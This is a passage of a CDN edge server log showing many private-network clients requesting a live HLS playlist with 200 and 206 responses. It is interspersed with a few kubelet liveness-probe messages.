192.168.95.240 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:00 cdn-edge[7890]: 192.168.140.27 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:00 cdn-edge[7890]: 192.168.161.94 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:00 cdn-edge[7890]: 192.168.240.70 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:01 cdn-edge[7890]: 192.168.117.161 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:01 cdn-edge[7890]: 192.168.15.108 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:01 cdn-edge[7890]: 192.168.18.212 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:01 cdn-edge[7890]: 192.168.209.138 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:02 cdn-edge[7890]: 192.168.2.107 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:02 cdn-edge[7890]: 192.168.55.251 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:02 cdn-edge[7890]: 192.168.56.250 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:03 cdn-edge[7890]: 192.168.237.120 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:03 cdn-edge[7890]: 192.168.42.87 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:03 cdn-edge[7890]: 192.168.44.146 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:04 cdn-edge[7890]: 192.168.230.240 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:05 cdn-edge[7890]: 192.168.155.42 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:06 cdn-edge[7890]: 192.168.47.240 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:07 cdn-edge[7890]: 192.168.34.138 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:07 cdn-edge[7890]: 192.168.44.202 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:08 cdn-edge[7890]: 192.168.186.149 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:08 cdn-edge[7890]: 192.168.249.92 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:09 cdn-edge[7890]: 192.168.220.122 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:10 cdn-edge[7890]: 192.168.15.207 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:11 cdn-edge[7890]: 192.168.106.157 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:11 cdn-edge[7890]: 192.168.216.46 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:11 cdn-edge[7890]: 192.168.227.30 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:11 cdn-edge[7890]: 192.168.229.197 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:12 cdn-edge[7890]: 192.168.165.74 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:12 cdn-edge[7890]: 192.168.233.29 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:12 cdn-edge[7890]: 192.168.91.77 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:13 cdn-edge[7890]: 192.168.144.121 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:13 cdn-edge[7890]: 192.168.161.106 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:13 cdn-edge[7890]: 192.168.180.249 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:14 cdn-edge[7890]: 192.168.103.86 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:15 cdn-edge[7890]: 192.168.129.136 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:15 cdn-edge[7890]: 192.168.182.110 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:15 cdn-edge[7890]: 192.168.195.116 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:16 cdn-edge[7890]: 192.168.53.85 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:16 cdn-edge[7890]: 192.168.86.41 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:17 cdn-edge[7890]: 192.168.67.58 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:17 cdn-edge[7890]: 192.168.91.121 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:18 cdn-edge[7890]: 192.168.247.58 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:20 cdn-edge[7890]: 192.168.160.133 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:20 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:03:21 cdn-edge[7890]: 192.168.109.142 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:21 cdn-edge[7890]: 192.168.144.15 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:21 cdn-edge[7890]: 192.168.193.83 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:22 cdn-edge[7890]: 192.168.5.150 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:22 cdn-edge[7890]: 192.168.62.187 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:23 cdn-edge[7890]: 192.168.238.119 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:23 cdn-edge[7890]: 192.168.49.146 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:24 cdn-edge[7890]: 192.168.109.128 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:24 cdn-edge[7890]: 192.168.22.158 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:24 cdn-edge[7890]: 192.168.84.65 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:25 cdn-edge[7890]: 192.168.144.127 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:25 cdn-edge[7890]: 192.168.180.108 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:26 cdn-edge[7890]: 192.168.126.233 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:26 cdn-edge[7890]: 192.168.236.123 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:26 cdn-edge[7890]: 192.168.71.232 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:27 cdn-edge[7890]: 192.168.32.157 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:28 cdn-edge[7890]: 192.168.170.198 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:29 cdn-edge[7890]: 192.168.9.208 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:31 cdn-edge[7890]: 192.168.164.113 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:31 cdn-edge[7890]: 192.168.2.91 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:31 cdn-edge[7890]: 192.168.223.230 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:32 cdn-edge[7890]: 192.168.186.210 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:33 cdn-edge[7890]: 192.168.1.240 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:35 cdn-edge[7890]: 192.168.133.60 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:35 cdn-edge[7890]: 192.168.181.67 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:35 cdn-edge[7890]: 192.168.204.84 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:35 cdn-edge[7890]: 192.168.254.200 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:36 cdn-edge[7890]: 192.168.107.71 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:36 cdn-edge[7890]: 192.168.96.173 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:37 cdn-edge[7890]: 192.168.217.108 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:37 cdn-edge[7890]: 192.168.28.1 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:37 cdn-edge[7890]: 192.168.88.225 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:38 cdn-edge[7890]: 192.168.223.90 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:38 cdn-edge[7890]: 192.168.29.126 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:38 cdn-edge[7890]: 192.168.54.246 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:39 cdn-edge[7890]: 192.168.106.180 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:39 cdn-edge[7890]: 192.168.188.94 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:40 cdn-edge[7890]: 192.168.170.92 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:40 cdn-edge[7890]: 192.168.193.40 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:40 cdn-edge[7890]: 192.168.209.27 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:41 cdn-edge[7890]: 192.168.43.168 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:42 cdn-edge[7890]: 192.168.165.67 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:42 cdn-edge[7890]: 192.168.190.95 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:42 cdn-edge[7890]: 192.168.200.206 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:42 cdn-edge[7890]: 192.168.56.66 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:43 cdn-edge[7890]: 192.168.161.96 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:43 cdn-edge[7890]: 192.168.198.234 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:43 cdn-edge[7890]: 192.168.219.52 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:43 cdn-edge[7890]: 192.168.230.198 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:43 cdn-edge[7890]: 192.168.38.75 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:45 cdn-edge[7890]: 192.168.211.73 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:45 cdn-edge[7890]: 192.168.41.30 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:46 cdn-edge[7890]: 192.168.233.181 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:47 cdn-edge[7890]: 192.168.251.196 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:47 cdn-edge[7890]: 192.168.67.210 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:48 cdn-edge[7890]: 192.168.106.157 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:48 cdn-edge[7890]: 192.168.77.82 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:50 cdn-edge[7890]: 192.168.186.204 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:50 cdn-edge[7890]: 192.168.251.38 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:51 cdn-edge[7890]: 192.168.134.225 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:51 cdn-edge[7890]: 192.168.229.82 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:51 cdn-edge[7890]: 192.168.252.224 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:52 cdn-edge[7890]: 192.168.216.94 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:52 cdn-edge[7890]: 192.168.43.117 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:52 cdn-edge[7890]: 192.168.55.9 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:56 cdn-edge[7890]: 192.168.11.12 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:56 cdn-edge[7890]: 192.168.208.2 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:56 cdn-edge[7890]: 192.168.44.146 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:56 cdn-edge[7890]: 192.168.64.2 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:56 cdn-edge[7890]: 192.168.86.177 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:57 cdn-edge[7890]: 192.168.174.171 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:57 cdn-edge[7890]: 192.168.63.199 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:03:59 cdn-edge[7890]: 192.168.242.217 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:03:59 cdn-edge[7890]: 192.168.55.194 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:01 cdn-edge[7890]: 192.168.117.109 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:01 cdn-edge[7890]: 192.168.127.211 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:01 cdn-edge[7890]: 192.168.139.194 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:02 cdn-edge[7890]: 192.168.80.143 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:03 cdn-edge[7890]: 192.168.178.190 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:03 cdn-edge[7890]: 192.168.3.48 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.147.153 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.17.237 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.170.207 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.185.77 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.209.253 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:04 cdn-edge[7890]: 192.168.217.161 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:05 cdn-edge[7890]: 192.168.214.179 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:06 cdn-edge[7890]: 192.168.131.60 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:06 cdn-edge[7890]: 192.168.151.153 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:06 cdn-edge[7890]: 192.168.197.175 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:06 cdn-edge[7890]: 192.168.227.198 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:06 cdn-edge[7890]: 192.168.38.104 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:07 cdn-edge[7890]: 192.168.18.115 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:07 cdn-edge[7890]: 192.168.180.34 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:07 cdn-edge[7890]: 192.168.39.246 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:07 cdn-edge[7890]: 192.168.43.16 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:07 cdn-edge[7890]: 192.168.97.83 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:08 cdn-edge[7890]: 192.168.45.165 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:09 cdn-edge[7890]: 192.168.158.34 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:09 cdn-edge[7890]: 192.168.31.151 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:10 cdn-edge[7890]: 192.168.94.58 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:10 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:04:11 cdn-edge[7890]: 192.168.117.9 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:11 cdn-edge[7890]: 192.168.121.19 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:11 cdn-edge[7890]: 192.168.126.134 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:11 cdn-edge[7890]: 192.168.129.251 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:12 cdn-edge[7890]: 192.168.185.178 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:13 cdn-edge[7890]: 192.168.245.9 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:14 cdn-edge[7890]: 192.168.136.134 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:14 cdn-edge[7890]: 192.168.191.84 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:14 cdn-edge[7890]: 192.168.43.86 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:15 cdn-edge[7890]: 192.168.111.160 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:15 cdn-edge[7890]: 192.168.156.114 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:15 cdn-edge[7890]: 192.168.249.134 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:15 cdn-edge[7890]: 192.168.73.226 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:16 cdn-edge[7890]: 192.168.49.172 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:17 cdn-edge[7890]: 192.168.190.237 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:18 cdn-edge[7890]: 192.168.187.147 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:18 cdn-edge[7890]: 192.168.25.45 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:18 cdn-edge[7890]: 192.168.31.75 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:18 cdn-edge[7890]: 192.168.58.73 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:19 cdn-edge[7890]: 192.168.139.57 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:19 cdn-edge[7890]: 192.168.194.178 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:19 cdn-edge[7890]: 192.168.197.86 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:20 cdn-edge[7890]: 192.168.134.49 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:20 cdn-edge[7890]: 192.168.135.249 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:20 cdn-edge[7890]: 192.168.180.88 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:20 cdn-edge[7890]: 192.168.203.113 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:21 cdn-edge[7890]: 192.168.110.234 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:21 cdn-edge[7890]: 192.168.175.4 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:21 cdn-edge[7890]: 192.168.36.229 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:23 cdn-edge[7890]: 192.168.233.197 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:23 cdn-edge[7890]: 192.168.64.125 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:25 cdn-edge[7890]: 192.168.169.135 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:25 cdn-edge[7890]: 192.168.34.249 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:25 cdn-edge[7890]: 192.168.46.193 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.1.253 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.22.195 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.235.87 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.45.228 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.80.88 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:26 cdn-edge[7890]: 192.168.96.13 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:27 cdn-edge[7890]: 192.168.128.124 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:27 cdn-edge[7890]: 192.168.26.164 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:28 cdn-edge[7890]: 192.168.198.27 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:28 cdn-edge[7890]: 192.168.50.107 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:29 cdn-edge[7890]: 192.168.162.78 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:30 cdn-edge[7890]: 192.168.216.137 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:30 cdn-edge[7890]: 192.168.50.175 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.128.109 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.130.237 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.178.239 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.183.2 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.184.104 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.35.116 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:31 cdn-edge[7890]: 192.168.48.41 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:32 cdn-edge[7890]: 192.168.211.18 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:32 cdn-edge[7890]: 192.168.221.188 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:34 cdn-edge[7890]: 192.168.4.196 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:34 cdn-edge[7890]: 192.168.93.249 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.114.30 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.126.123 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.164.47 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.190.166 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.42.156 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:35 cdn-edge[7890]: 192.168.96.46 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:36 cdn-edge[7890]: 192.168.1.38 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:36 cdn-edge[7890]: 192.168.249.212 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:39 cdn-edge[7890]: 192.168.63.96 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:39 cdn-edge[7890]: 192.168.71.150 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:39 cdn-edge[7890]: 192.168.91.167 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:40 cdn-edge[7890]: 192.168.133.122 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:40 cdn-edge[7890]: 192.168.246.242 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:41 cdn-edge[7890]: 192.168.113.104 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:41 cdn-edge[7890]: 192.168.55.220 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.107.85 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.114.209 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.173.10 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.204.1 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.216.138 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:42 cdn-edge[7890]: 192.168.36.201 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:43 cdn-edge[7890]: 192.168.165.103 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:45 cdn-edge[7890]: 192.168.193.80 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:45 cdn-edge[7890]: 192.168.247.103 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:45 cdn-edge[7890]: 192.168.45.228 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:46 cdn-edge[7890]: 192.168.225.58 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:47 cdn-edge[7890]: 192.168.184.93 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:48 cdn-edge[7890]: 192.168.61.200 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:50 cdn-edge[7890]: 192.168.190.12 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:51 cdn-edge[7890]: 192.168.123.42 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:52 cdn-edge[7890]: 192.168.149.159 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:53 cdn-edge[7890]: 192.168.120.167 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:53 cdn-edge[7890]: 192.168.233.112 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:53 cdn-edge[7890]: 192.168.59.55 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:54 cdn-edge[7890]: 192.168.129.200 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:54 cdn-edge[7890]: 192.168.153.73 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:54 cdn-edge[7890]: 192.168.59.38 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:54 cdn-edge[7890]: 192.168.92.168 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:55 cdn-edge[7890]: 192.168.112.28 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:56 cdn-edge[7890]: 192.168.13.141 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:56 cdn-edge[7890]: 192.168.235.30 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:57 cdn-edge[7890]: 192.168.172.77 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:57 cdn-edge[7890]: 192.168.178.82 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:04:57 cdn-edge[7890]: 192.168.188.111 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:57 cdn-edge[7890]: 192.168.40.252 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:58 cdn-edge[7890]: 192.168.18.26 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:58 cdn-edge[7890]: 192.168.239.53 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:58 cdn-edge[7890]: 192.168.245.239 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:04:59 cdn-edge[7890]: 192.168.60.233 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:00 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:05:01 cdn-edge[7890]: 192.168.102.31 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:01 cdn-edge[7890]: 192.168.116.103 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:01 cdn-edge[7890]: 192.168.21.171 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:01 cdn-edge[7890]: 192.168.59.111 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:02 cdn-edge[7890]: 192.168.165.170 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:02 cdn-edge[7890]: 192.168.4.21 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:05:03 cdn-edge[7890]: 192.168.105.64 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:04 cdn-edge[7890]: 192.168.116.239 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:04 cdn-edge[7890]: 192.168.174.92 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:05 cdn-edge[7890]: 192.168.104.119 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:05:05 